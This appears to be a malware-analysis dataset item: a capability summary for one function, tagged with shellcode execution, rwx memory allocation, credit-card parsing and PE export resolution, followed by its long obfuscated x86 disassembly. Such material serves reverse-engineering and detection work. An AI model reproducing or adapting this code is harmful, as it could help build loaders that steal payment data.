Function at 0x10008df0
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Encode data using base64
Execute shellcode via indirect call
Parse credit card information
Parse pe header
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4a8
push esi
push edi
mov eax, dword [0x10010044]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0
mov eax, dword [0x100100ac]
mov byte [esp + 0x13], al
mov eax, dword [0x10010038]
mov dword [esp + 0x7c], eax
mov esi, dword [0x1001003c]
mov dword [esp + 0x24], 0xece43b88
mov eax, dword [0x10010038]
mov ecx, dword [0x1001003c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x38], 0x41f5365c
mov dword [esp + 0x3c], 0
mov eax, dword [0x10010070]
mov dword [esp + 0xdc], eax
movsx eax, byte [0x10010002]
cdq
mov dword [esp + 0xc4], eax
mov al, byte [0x10010008]
mov byte [esp + 0xb7], al
mov al, byte [0x100100b8]
mov dword [esp + 0x60], 0x653b
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x1f], al
movzx eax, byte [0x10010013]
mov dword [esp + 0x188], eax
mov dword [esp + 0xc8], edx
cdq
mov dword [esp + 0xa4], eax
mov eax, dword [0x10010080]
mov word [esp + 0x14], ax
mov eax, dword [0x10010044]
mov byte [esp + 0x12], al
movzx eax, word [0x10010088]
mov dword [esp + 0x20], eax
mov eax, dword [str.Ep_M]
mov dword [esp + 0x18], eax
mov eax, dword [0x10010044]
mov word [esp + 0x44], ax
mov byte [esp + 0x44], 0xfc
mov eax, dword [0x10010090]
mov ecx, dword [0x10010094]
mov dword [esp + 0x68], eax
mov al, byte [0x1001000f]
mov dword [esp + 0x6c], ecx
mov byte [esp + 0x44], al
mov byte [esp + 0x44], 0x20
movsx eax, word [0x100100a8]
mov dword [esp + 0xac], edx
cdq
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], edx
mov eax, dword [0x10010070]
mov byte [esp + 0x44], 0x29
mov eax, dword [0x100100a0]
mov ecx, dword [0x100100a4]
mov ax, word [0x1001008c]
mov ax, word [0x10010010]
mov dword [esp + 0x68], 0xbe13
mov eax, dword [0x10010030]
cmp byte [0x10010002], 0
mov dword [esp + 0xb0], esi
mov dword [esp + 0x64], 0x4b27
jne 0x10008f64
mov al, byte [esp + 0x12]
mov al, byte [esp + 0x11]
mov eax, dword [esp + 0x60]
movsx edi, word [0x100100b4]
mov ecx, dword [0x10010050]
sub edi, eax
mov eax, dword [0x10010054]
push esi
push dword [esp + 0x80]
push eax
push ecx
call fcn.1000e790
mov ecx, eax
mov esi, edx
movzx eax, byte [esp + 0x13]
xor ecx, edi
cdq
xor esi, 0
sub ecx, eax
mov eax, dword [0x100d60e0]
sbb esi, edx
add ecx, 0x7f58a8b
mov dword [esp + 0x28], ecx
adc esi, 0xfffd0441
mov dword [esp + 0x2c], esi
mov dword [esp + 0x94], eax
movsx eax, word [section..data]
imul edx, eax, 0x966d
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
add eax, edx
mov edx, dword [esp + 0xa4]
mov dword [0x100100a0], eax
adc ecx, 0
add edx, 0x60
mov dword [0x100100a4], ecx
mov ecx, dword [esp + 0xdc]
movzx eax, cx
add eax, edx
movzx ecx, ax
movzx eax, ax
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x94]
add eax, 0x69a
mov dword [esp + 0xb8], ecx
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0x94]
add eax, 0x834
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x94]
add eax, 0x664
mov dword [esp + 0x68], eax
mov eax, dword [0x100d60e0]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x78]
movups xmm0, xmmword [str.address_in_use]
add eax, 0x4f0
mov dword [esp + 0x94], eax
mov eax, dword [0x1000f13c]
mov dword [esp + 0x248], eax
mov ax, word [0x1000f140]
mov word [esp + 0x24c], ax
lea eax, [esp + 0x230]
movups xmmword [esp + 0x230], xmm0
push eax
movq xmm0, qword [0x1000f134]
movq qword [esp + 0x244], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov byte [0x10010002], al
mov eax, dword [esp + 0x78]
add eax, 0x6cd
mov dword [esp + 0x1a8], eax
mov eax, dword [esp + 0x78]
add eax, 0x5eb
mov dword [esp + 0x178], eax
movsx eax, byte [0x10010014]
mov ecx, dword [esp + 0x38]
mov esi, dword [esp + 0x3c]
cdq
add ecx, eax
mov dword [esp + 0x38], ecx
adc esi, edx
mov ecx, dword [str.Ep_M]
mov eax, dword [0x100d60e0]
add ecx, dword [esp + 0xc4]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x78], eax
mov eax, dword [0x10010064]
adc eax, dword [esp + 0xc8]
xor dword [0x10010064], eax
mov eax, dword [esp + 0x78]
xor dword [str.Ep_M], ecx
add eax, 0x736
mov dword [esp + 0x68], eax
mov al, byte [esp + 0x12]
movsx eax, byte [esp + 0xb7]
mov esi, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
cdq
cmp ecx, edx
jg 0x10009147
jl 0x10009140
cmp esi, eax
ja 0x10009147
mov ecx, 1
jmp 0x10009149
xor ecx, ecx
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
test eax, eax
jg 0x10009163
jl 0x1000915c
cmp edx, 0x15
ja 0x10009163
mov eax, 1
jmp 0x10009165
xor eax, eax
cmp ecx, eax
jb 0x10009172
imul eax, dword [esp + 0x24], 0x3a
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x78]
add eax, 0x834
mov dword [esp + 0x164], eax
mov al, byte [0x10010015]
shl al, 6
cmp word [0x100100b0], 0
mov byte [esp + 0x44], al
mov eax, dword [0x10010040]
sete ch
mov edx, dword [0x100100a0]
sub ch, al
mov eax, dword [0x100100a4]
mov cl, byte [esp + 0x11]
sub cl, dl
movzx eax, ch
movzx ecx, cl
imul ecx, eax
mov al, byte [esp + 0x1f]
sub al, 0x41
add al, cl
add al, byte [0x10010020]
mov byte [esp + 0x13], al
mov eax, dword [esp + 0x78]
add eax, 0x679
mov dword [esp + 0x68], eax
mov ecx, dword [0x10010018]
mov esi, dword [0x1001001c]
movzx eax, byte [0x1001000e]
cdq
cmp eax, ecx
jne 0x100091fc
cmp edx, esi
jne 0x100091fc
mov ecx, 1
jmp 0x100091fe
xor ecx, ecx
xor eax, eax
cmp byte [0x1001000e], 0x1b
sete al
cmp ecx, eax
ja 0x1000921a
add dword [0x10010098], 0xb6
jmp 0x1000922d
mov eax, dword [0x10010078]
mov ecx, dword [0x1001007c]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ecx
mov eax, dword [0x100d60e0]
mov esi, dword [str.Ep_M]
mov dword [esp + 0x78], eax
mov eax, 0x3314
add ax, word [0x10010020]
movzx eax, ax
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x78]
add eax, 0x6ef
mov dword [esp + 0x58], esi
mov dword [esp + 0x68], eax
call fcn.10001a90
cwde
xor ecx, ecx
mov dword [0x10010004], eax
mov eax, dword [0x10010004]
cmp eax, 0x3d
mov eax, dword [0x10010004]
sete cl
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jbe 0x100092d3
mov edx, dword [0x10010018]
mov esi, dword [0x1001001c]
mov eax, dword [0x10010090]
sub edx, eax
mov ecx, dword [0x10010094]
mov eax, dword [0x10010018]
sbb esi, ecx
mov ecx, dword [0x1001001c]
add eax, edx
mov dword [0x10010018], eax
adc ecx, esi
mov esi, dword [esp + 0x58]
mov dword [0x1001001c], ecx
movzx ecx, byte [esp + 0x11]
mov eax, dword [0x100100ac]
sub ecx, eax
mov word [esp + 0x14], cx
mov eax, dword [esp + 0x78]
movsx ecx, byte [esp + 0xb7]
add eax, 0x6e9
mov dword [esp + 0x168], eax
mov al, byte [esp + 0x12]
movsx eax, al
imul eax, ecx
mov ecx, 0x2417
mov dword [esp + 0x5c], eax
movzx eax, byte [esp + 0x1f]
add ax, cx
xor word [0x1001006c], ax
mov eax, dword [esp + 0x78]
add eax, 0x47e
mov dword [esp + 0x68], eax
movzx eax, byte [esp + 0x44]
not eax
mov edi, eax
mov dword [esp + 0x88], eax
sub edi, dword [0x10010028]
sub edi, dword [esp + 0x18]
mov eax, dword [0x10010048]
add edi, eax
or eax, dword [0x1001004c]
mov dword [esp + 0x78], edi
je 0x10009358
mov eax, dword [0x10010064]
mov ecx, dword [str.Ep_M]
mov dword [esp + 0x6c], eax
jmp 0x10009366
movzx eax, word [0x1001006c]
cdq
mov ecx, eax
mov dword [esp + 0x6c], edx
mov eax, dword [0x100d60e0]
sub esp, 0x10
mov dword [0x10010044], ecx
mov dword [esp + 0x84], eax
mov al, byte [esp + 0x21]
sub al, 0x60
add al, byte [esp + 0x23]
mov byte [esp + 0x23], al
mov eax, dword [esp + 0x84]
add eax, 0x6c7
mov dword [esp + 0x180], eax
call fcn.10001160
cwde
add esp, 0x10
mov dword [esp + 0x34], eax
test eax, eax
je 0x100093d8
cmp dword [esp + 0x20], 0
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x64], 2
je 0x100093cb
movzx edi, byte [esp + 0x13]
mov dword [esp + 0x78], edi
jmp 0x100093f5
movsx edi, byte [0x10010014]
mov dword [esp + 0x78], edi
jmp 0x100093f5
movsx eax, word [0x100100b4]
cmp eax, dword [0x10010070]
jge 0x1000941b
mov dword [0x10010058], 0x7554f3c4
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x74]
add eax, 0x5e6
cmp dword [0x10010098], 0
mov dword [esp + 0xe0], eax
je 0x1000945b
movzx eax, byte [esp + 0x13]
mov word [0x1022d12e], ax
jmp 0x1000948d
test esi, esi
jne 0x10009436
mov eax, dword [esp + 0x7c]
movzx ecx, byte [esp + 0x12]
not eax
add cx, ax
movzx eax, cx
mov dword [esp + 0x64], eax
jmp 0x100093f1
cmp dword [0x100100bc], 0x4b27
jge 0x100093f1
movsx ecx, word [0x100100b4]
movzx eax, byte [esp + 0x1f]
add ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [esp + 0x18], ecx
jmp 0x100093f5
cmp esi, 0x7ab8c32e
sbb eax, eax
neg eax
cmp ecx, eax
jb 0x1000948d
movzx eax, word [0x100d60e0]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [0x100100bc]
sub ecx, eax
mov eax, dword [esp + 0x20]
add eax, ecx
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x90]
movzx eax, cx
mov ecx, dword [esp + 0x74]
add ecx, 0x52c
mov dword [esp + 0x160], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x16c], ecx
mov ecx, dword [esp + 0x24]
dec ecx
cdq
mov dword [esp + 0x24], ecx
mov esi, edx
mov ecx, dword [0x10010050]
add eax, ecx
mov edx, dword [0x10010054]
adc esi, edx
or eax, esi
jne 0x100094dd
mov eax, 1
jmp 0x100094df
xor eax, eax
cmp word [esp + 0x64], 0
mov dword [esp + 0x24], eax
mov eax, dword [0x100d60e0]
mov dword [esp + 0x74], eax
jne 0x10009511
mov al, byte [esp + 0x11]
mov eax, dword [esp + 0x90]
cwde
add eax, 0xbd
cdq
mov dword [esp + 0x7c], eax
mov dword [esp + 0xb0], edx
mov ecx, dword [esp + 0x74]
add ecx, 0x5f1
mov dword [esp + 0x174], ecx
mov ecx, dword [0x10010044]
push ecx
call fcn.100014a0
movzx eax, al
add esp, 4
cdq
mov dword [0x10010078], eax
mov eax, dword [esp + 0x90]
mov dword [0x1001007c], edx
movsx edx, ax
cmp edi, edx
je 0x10009565
movzx ecx, byte [esp + 0x11]
mov eax, dword [0x10010070]
imul eax, ecx
test eax, eax
jne 0x10009565
cmp dword [esp + 0x60], eax
je 0x10009599
mov ax, word [0x100100c0]
xor ecx, ecx
mov edi, dword [esp + 0xac]
add al, 0x55
mov byte [esp + 0x5c], al
mov eax, dword [0x10010008]
and eax, dword [esp + 0xa4]
and ecx, edi
not eax
not ecx
mov dword [0x10010050], eax
mov dword [0x10010054], ecx
jmp 0x100095a0
mov edi, dword [esp + 0xac]
mov eax, dword [esp + 0x74]
add eax, 0x4f2
mov dword [esp + 0x68], eax
mov eax, dword [str.Ep_M]
or eax, dword [0x10010064]
jne 0x100095ff
cmp byte [esp + 0x12], al
jne 0x100095ff
mov eax, dword [0x10010028]
or eax, dword [0x1001002c]
je 0x100095e0
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x100095e0
mov ecx, 1
jmp 0x100095e2
xor ecx, ecx
mov eax, dword [0x100100bc]
mov esi, dword [esp + 0x58]
add eax, esi
cmp eax, ecx
jbe 0x10009603
imul eax, dword [0x10010040], 0x76
mov dword [0x10010044], eax
jmp 0x10009603
mov esi, dword [esp + 0x58]
mov eax, dword [esp + 0x74]
add eax, 0x76b
mov dword [esp + 0x68], eax
cmp dword [0x10010044], 0
je 0x10009639
cmp edx, dword [esp + 0x34]
jne 0x10009641
movsx ecx, word [0x100100a8]
movzx eax, byte [0x10010013]
sub cx, ax
mov word [0x100100a8], cx
jmp 0x10009641
mov dword [esp + 0x60], 0x96
mov eax, dword [0x100d60e0]
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x74]
add eax, 0x758
mov dword [esp + 0xd4], eax
movzx eax, byte [esp + 0x11]
cdq
cmp edx, dword [0x10010084]
jl 0x10009679
jg 0x10009672
cmp eax, dword [0x10010080]
jbe 0x10009679
mov ecx, 1
jmp 0x1000967b
xor ecx, ecx
mov al, byte [esp + 0x11]
mov dl, 0x3b
cmp dl, al
sbb eax, eax
neg eax
cmp ecx, eax
jae 0x100096cf
xor eax, eax
cmp eax, dword [esp + 0xc8]
jl 0x100096e4
jg 0x100096a5
mov eax, dword [esp + 0xc4]
cmp dword [esp + 0x34], eax
jb 0x100096e4
mov eax, dword [0x100100ac]
mov edx, dword [esp + 0x38]
mov byte [esp + 0x5c], al
mov eax, dword [esp + 0x3c]
mov ecx, dword [0x100100ac]
mov eax, dword [esp + 0x60]
imul ecx, edx
imul eax, ecx
not eax
mov dword [0x100100bc], eax
jmp 0x100096e4
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
movzx eax, byte [0x10010003]
mov word [0x100100b0], ax
mov eax, dword [esp + 0x74]
add eax, 0x50e
cmp word [0x100100b4], 0
mov dword [esp + 0xc8], eax
je 0x10009708
movzx eax, byte [0x10010013]
cdq
jmp 0x10009711
mov eax, dword [esp + 0xa4]
mov edx, edi
mov dword [0x10010078], eax
mov eax, dword [esp + 0x74]
add eax, 0x509
mov dword [0x1001007c], edx
mov dword [esp + 0x34], eax
movzx eax, word [0x1001008c]
cdq
add eax, 0x85f0
mov dword [esp + 0x54], eax
adc edx, 0
cmp byte [0x1001000f], 0
mov dword [esp + 0xa0], edx
je 0x1000975e
movsx edx, word [esp + 0x98]
mov dword [esp + 0x8c], edx
jmp 0x1000976f
mov eax, dword [0x100100a0]
mov dword [esp + 0x8c], eax
mov eax, dword [0x100100a4]
mov eax, dword [0x100d60e0]
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x74]
add eax, 0x695
mov dword [esp + 0x68], eax
mov ax, word [esp + 0x98]
cwde
cmp esi, eax
mov dword [esp + 0xd0], eax
sbb ecx, ecx
neg ecx
cmp esi, 0x2d
sbb eax, eax
neg eax
cmp ecx, eax
jae 0x100097d1
mov ecx, 0x132
add dword [esp + 0x78], ecx
nop
mov eax, dword [0x1005cfc0]
mov dword [esp + 0x8c], eax
mov ax, word [0x1001000c]
dec ax
mov word [0x1001000c], ax
sub ecx, 1
jne 0x100097b0
jmp 0x100097eb
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov cl, byte [0x10010014]
mov al, cl
sub al, dl
or cl, al
mov byte [0x10010014], cl
mov eax, dword [esp + 0x74]
add eax, 0x71d
mov dword [esp + 0xd8], eax
mov eax, dword [esp + 0x7c]
or eax, dword [esp + 0xb0]
je 0x1000982f
movsx ecx, word [esp + 0x14]
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov eax, dword [0x10010030]
imul edx, ecx
movsx ecx, byte [0x10010012]
add ecx, edx
add eax, ecx
mov dword [0x10010008], eax
jmp 0x10009842
cmp byte [esp + 0x13], 0
je 0x10009842
imul eax, dword [esp + 0x60], 0x1a
movzx eax, ax
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x74]
add eax, 0x5cb
mov dword [esp + 0xc4], eax
movzx eax, byte [0x10010013]
cdq
cmp edx, dword [esp + 0xa0]
ja 0x10009872
jb 0x1000986b
cmp eax, dword [esp + 0x54]
ja 0x10009872
mov ecx, 1
jmp 0x10009874
xor ecx, ecx
mov al, 0x4b
cmp al, byte [0x10010013]
sbb eax, eax
inc eax
cmp ecx, eax
jae 0x100098ab
movsx eax, word [0x100100b4]
add eax, 0x126a79e9
mov dword [0x1001007c], 0
mov dword [0x10010078], eax
mov dword [esp + 0x20], 8
jmp 0x1000999f
movzx eax, byte [esp + 0x11]
cdq
cmp eax, dword [0x10010080]
jne 0x100098c5
cmp edx, dword [0x10010084]
jne 0x100098c5
xor edx, edx
jmp 0x100098ca
mov edx, 1
mov al, byte [esp + 0x11]
xor ecx, ecx
cmp al, byte [0x10010003]
setne cl
cmp edx, ecx
jbe 0x100098f5
mov dword [esp + 0x7c], 2
mov dword [esp + 0xb0], 0
jmp 0x1000999f
cmp dword [esp + 0x24], 0
jne 0x10009967
cmp byte [0x10010014], 0
je 0x10009967
mov ecx, dword [0x10010018]
mov eax, dword [0x1001001c]
test eax, eax
jne 0x10009920
cmp ecx, 0xf2
ja 0x10009920
xor esi, esi
jmp 0x10009925
mov esi, 1
movzx eax, byte [esp + 0x44]
mov ecx, dword [0x10010090]
mov edi, dword [0x10010094]
cdq
cmp ecx, eax
jne 0x10009943
cmp edi, edx
jne 0x10009943
xor eax, eax
jmp 0x10009948
mov eax, 1
cmp esi, eax
jae 0x1000999f
mov eax, dword [0x10010008]
add eax, 0x6c7ba282
mov dword [0x10010050], eax
mov dword [0x10010054], 0
jmp 0x1000999f
mov eax, dword [esp + 0x24]
movsx eax, word [esp + 0x14]
cdq
mov ecx, edx
mov esi, eax
mov eax, dword [0x100100bc]
xor ecx, 0xf7275
xor esi, 0x213ac710
cdq
not ecx
not esi
push ecx
push esi
push edx
push eax
call fcn.1000e790
mov dword [0x10010038], eax
mov dword [0x1001003c], edx
mov eax, dword [0x100d60e0]
mov ecx, 0x59
mov dword [esp + 0x30], eax
mov byte [esp + 0x74], 0x97
mov ax, word [0x1001008c]
inc ax
mov word [0x1001008c], ax
sub ecx, 1
jne 0x100099b2
mov eax, dword [esp + 0x30]
add eax, 0x632
mov dword [0x10010048], 0xf5
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x30]
add eax, 0x728
mov dword [0x1001004c], ecx
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x30]
add eax, 0x4d6
mov dword [esp + 0x68], eax
cmp byte [0x10010003], cl
je 0x10009a1c
mov esi, dword [0x10010098]
add esi, 0xdb27cbfa
mov dword [esp + 0x8c], esi
jmp 0x10009a23
mov esi, dword [esp + 0x8c]
mov eax, dword [0x100d60e0]
mov dword [esp + 0x30], eax
mov al, byte [esp + 0x12]
mov cx, word [esp + 0x14]
movzx eax, al
add ax, word [esp + 0x14]
add ax, cx
mov word [esp + 0x14], ax
mov dword [esp + 0x20], 0xfb68fb27
mov eax, dword [esp + 0x30]
add eax, 0x5c3
mov dword [esp + 0x9c], eax
call fcn.10001a90
cwde
cdq
mov ecx, eax
mov dword [0x10010028], eax
or ecx, edx
mov dword [0x1001002c], edx
je 0x10009a85
mov ecx, 1
cmp eax, 0x42
jne 0x10009a87
test edx, edx
je 0x10009aab
jmp 0x10009a87
xor ecx, ecx
cmp ecx, 1
jae 0x10009aab
mov eax, 1
mov dword [0x1001002c], 0
mov word [0x100100b8], ax
mov eax, dword [0x100d60e0]
mov dword [0x10010028], eax
mov eax, dword [esp + 0x30]
add eax, 0x7fb
mov dword [esp + 0x184], eax
call fcn.10001a90
mov ecx, dword [esp + 0x48]
mov edi, dword [esp + 0x4c]
mov word [0x100100b8], ax
movzx eax, ax
not eax
cdq
cmp ecx, eax
jne 0x10009ae3
cmp edi, edx
jne 0x10009ae3
mov ecx, 0xfffffffe
jmp 0x10009ae6
or ecx, 0xffffffff
mov eax, dword [esp + 0x28]
or edx, 0xffffffff
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x88], edi
mov edi, dword [esp + 0xac]
cmp ecx, eax
jne 0x10009b0c
cmp edx, dword [esp + 0x88]
je 0x10009b42
mov al, byte [esp + 0x11]
xor edx, edx
movzx eax, byte [esp + 0x1f]
movsx ecx, word [0x1001000c]
cmp edx, eax
je 0x10009b42
mov eax, dword [esp + 0x24]
add eax, 0xb6
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], edx
mov dword [0x10010044], 1
jmp 0x10009bcd
mov edx, dword [esp + 0x58]
xor ecx, ecx
movzx eax, word [0x100100c4]
test edx, edx
sete cl
cmp eax, ecx
jb 0x10009b63
cmp dword [esp + 0x20], 0
jne 0x10009b63
xor ecx, ecx
jmp 0x10009b68
mov ecx, 1
mov eax, dword [esp + 0x7c]
or eax, dword [esp + 0xb0]
jne 0x10009b7c
mov eax, 1
jmp 0x10009b7e
xor eax, eax
cmp ecx, eax
jne 0x10009bc2
mov cx, word [0x1001008c]
movzx eax, byte [esp + 0x12]
sub cx, ax
mov eax, dword [0x1001007c]
mov word [0x1001008c], cx
mov ecx, 0x79
mul ecx
mov edx, 0x79
mov ecx, eax
mov eax, dword [0x10010078]
mul edx
add ecx, edx
sub dword [0x10010048], eax
sbb dword [0x1001004c], ecx
jmp 0x10009bcd
mov al, dl
shl al, 6
add al, dl
mov byte [esp + 0x11], al
mov eax, dword [esp + 0x30]
add eax, 0x69b
mov dword [esp + 0x180], eax
mov eax, dword [0x10010018]
mov ecx, dword [0x1001001c]
mov dword [esp + 0x88], eax
movsx eax, byte [0x10010012]
cdq
cmp ecx, edx
ja 0x10009c0d
jb 0x10009c06
cmp dword [esp + 0x88], eax
ja 0x10009c0d
mov ecx, 1
jmp 0x10009c0f
xor ecx, ecx
mov edx, dword [0x10010018]
mov eax, dword [0x1001001c]
test eax, eax
ja 0x10009c2c
jb 0x10009c25
cmp edx, 0x5c
ja 0x10009c2c
mov eax, 1
jmp 0x10009c2e
xor eax, eax
cmp ecx, eax
jb 0x10009c3f
movzx eax, byte [esp + 0x13]
sub esi, eax
mov dword [esp + 0x18], esi
jmp 0x10009c6e
mov ecx, dword [0x10010018]
mov eax, dword [0x1001001c]
test eax, eax
ja 0x10009c6a
jb 0x10009c58
cmp ecx, 0xb2
ja 0x10009c6a
mov ax, word [esp + 0x14]
mov cx, word [esp + 0x14]
add cx, ax
mov word [esp + 0x14], cx
mov esi, dword [esp + 0x18]
mov eax, dword [0x100d60e0]
mov dword [esp + 0x30], eax
mov eax, dword [0x10010098]
mov ecx, dword [esp + 0x48]
cdq
mov dword [esp + 0x88], ecx
mov ecx, dword [esp + 0x4c]
cmp ecx, edx
ja 0x10009ca2
jb 0x10009c9b
cmp dword [esp + 0x88], eax
ja 0x10009ca2
mov ecx, 1
jmp 0x10009ca4
xor ecx, ecx
mov edx, dword [esp + 0x48]
mov eax, dword [esp + 0x4c]
test eax, eax
ja 0x10009cbe
jb 0x10009cb7
cmp edx, 0x28
ja 0x10009cbe
mov eax, 1
jmp 0x10009cc0
xor eax, eax
cmp ecx, eax
jbe 0x10009d2b
mov esi, dword [esp + 0x8c]
mov edx, 0x1d8
movzx eax, byte [esp + 0x1f]
add esi, 0x50
mov edi, dword [esp + 0xd0]
mov dword [esp + 0x18], esi
mov esi, dword [esp + 0x188]
mov dword [esp + 0x88], eax
mov ecx, dword [0x10010004]
dec edx
movzx eax, byte [0x1001000f]
sub ecx, esi
imul eax, dword [esp + 0x88]
inc word [0x10010020]
imul eax, ecx
add eax, edi
mov dword [0x10010008], eax
test edx, edx
jg 0x10009cf1
mov edi, dword [esp + 0xac]
mov esi, dword [esp + 0x18]
jmp 0x10009d59
cmp byte [esp + 0x11], 0
mov eax, dword [esp + 0x20]
jne 0x10009d3d
movzx eax, word [0x1001006c]
cdq
mov dword [0x10010018], eax
mov dword [0x1001001c], edx
mov eax, dword [0x10010040]
and eax, 0xd8bd
mov word [0x1001008c], ax
mov eax, dword [esp + 0x30]
add eax, 0x779
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x30]
add eax, 0x582
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x10009d9e
mov eax, dword [0x10010044]
xor ecx, ecx
neg eax
mov dword [0x10010048], eax
adc ecx, ecx
neg ecx
mov dword [0x1001004c], ecx
mov eax, dword [esp + 0x30]
add eax, 0x841
mov dword [esp + 0x68], eax
mov eax, dword [0x100d60e0]
mov dword [esp + 0x30], eax
mov eax, dword [0x100100ac]
dec eax
mov dword [0x100100ac], eax
movsx eax, word [0x10010068]
movsx edx, byte [0x10010002]
xor edx, eax
movsx eax, word [0x10010010]
movzx ecx, byte [esp + 0x12]
and ecx, eax
imul ecx, edx
test ecx, ecx
sete byte [0x10010015]
mov eax, dword [esp + 0x30]
add eax, 0x6b7
mov dword [esp + 0x68], eax
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x4c]
or ecx, eax
jne 0x10009e07
lea edx, [ecx + 1]
jmp 0x10009e09
xor edx, edx
mov eax, dword [0x10010004]
mov ecx, dword [esp + 0x78]
inc ecx
add eax, ecx
imul eax, edx
sub eax, 0x416b
mov word [0x1001006c], ax
mov eax, dword [esp + 0x30]
add eax, 0x5ac
mov dword [esp + 0x88], eax
movzx eax, word [0x1001008c]
cmp dword [esp + 0x58], eax
sbb ecx, ecx
inc ecx
cmp dword [esp + 0x58], 0x44
sbb eax, eax
inc eax
cmp ecx, eax
ja 0x10009ea6
cmp byte [esp + 0x12], 0
je 0x10009e82
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0xa0]
sub eax, 0x44
mov dword [esp + 0x28], eax
movzx eax, word [0x1001006c]
sbb ecx, 0
imul eax, dword [0x100100bc]
mov dword [esp + 0x2c], ecx
mov dword [0x100100bc], eax
jmp 0x10009ebd
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov ecx, dword [0x10010058]
test eax, eax
jl 0x10009ebd
jg 0x10009e9a
cmp edx, ecx
jb 0x10009ebd
movzx eax, byte [esp + 0x13]
mov dword [0x10197bc4], eax
jmp 0x10009ebd
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0xa0]
shld ecx, eax, 7
shl eax, 7
mov byte [0x10010014], al
mov eax, dword [esp + 0x30]
xor edx, edx
add eax, 0x4d8
mov dword [esp + 0x68], eax
mov ecx, dword [0x10010030]
movzx eax, word [0x10010088]
cmp ecx, eax
mov eax, dword [0x10010030]
setne dl
xor ecx, ecx
cmp eax, 0x4d
setne cl
cmp edx, ecx
jae 0x10009f05
mov al, byte [0x100d60e0]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x60]
xor eax, 0x70
mov dword [esp + 0x58], eax
jmp 0x10009f21
movzx eax, word [0x1001008c]
cmp eax, dword [esp + 0x78]
jle 0x10009f21
mov eax, dword [esp + 0x64]
movzx eax, ax
sub eax, 0x24
mov dword [0x10010058], eax
sub esp, 0x28
call fcn.100012f0
xor edx, edx
mov dword [esp + 0xf8], eax
add esp, 0x28
cmp eax, 0x4b
setne dl
xor ecx, ecx
test eax, eax
setne cl
cmp ecx, edx
jb 0x10009f95
movzx eax, byte [0x10010013]
cmp eax, dword [esp + 0x58]
sbb edx, edx
neg edx
cmp byte [0x10010013], 0x37
sbb eax, eax
neg eax
cmp edx, eax
ja 0x10009f80
mov eax, 0xffffff2d
sub eax, dword [esp + 0x188]
add eax, dword [esp + 0x24]
add esi, 0x97
mov dword [esp + 0x24], eax
jmp 0x10009f91
mov eax, 1
add esi, esi
sub esi, dword [esp + 0x58]
mov word [0x100100b4], ax
mov dword [esp + 0x18], esi
mov ecx, dword [0x10010038]
mov eax, dword [0x1001003c]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
and edx, ecx
xor eax, eax
cmp dword [esp + 0xd0], eax
sete al
sub esp, 0x28
add edx, eax
movsx eax, word [0x10010010]
movzx ecx, byte [0x1001000f]
sub edx, eax
mov eax, dword [esp + 0x8c]
movzx eax, ax
add ecx, eax
mov byte [esp + 0x143], 0x6c
movzx eax, word [0x1001000c]
imul ecx, edx
mov edx, dword [esp + 0x8c]
mov byte [esp + 0x13d], 0x6c
mov byte [esp + 0x138], 0x4b
mov dword [esp + 0xc8], ecx
movzx ecx, dx
add ax, cx
mov word [0x1001000c], ax
mov eax, dword [esp + 0x88]
mov ax, word [esp + 0x3c]
call fcn.100012f0
mov byte [esp + 0x39], al
mov cl, 0x33
mov al, byte [esp + 0x39]
add esp, 0x28
mov eax, dword [esp + 0xcc]
sub cl, al
mov eax, dword [esp + 0xcc]
add al, cl
mov dword [0x10010078], 0x87
mov byte [esp + 0x116], al
mov eax, dword [esp + 0x24]
add eax, 0x87
mov dword [0x1001007c], 0
cmp dword [0x10010078], eax
jne 0x1000a082
cmp dword [0x1001007c], 0
jne 0x1000a082
mov ax, word [0x1001008c]
mov al, byte [esp + 0x13]
mov edx, dword [esp + 0xa4]
sub edx, dword [esp + 0x8c]
movzx eax, byte [esp + 0x1f]
sbb edi, 0
mov dword [esp + 0xcc], eax
add eax, 0xffffaa8f
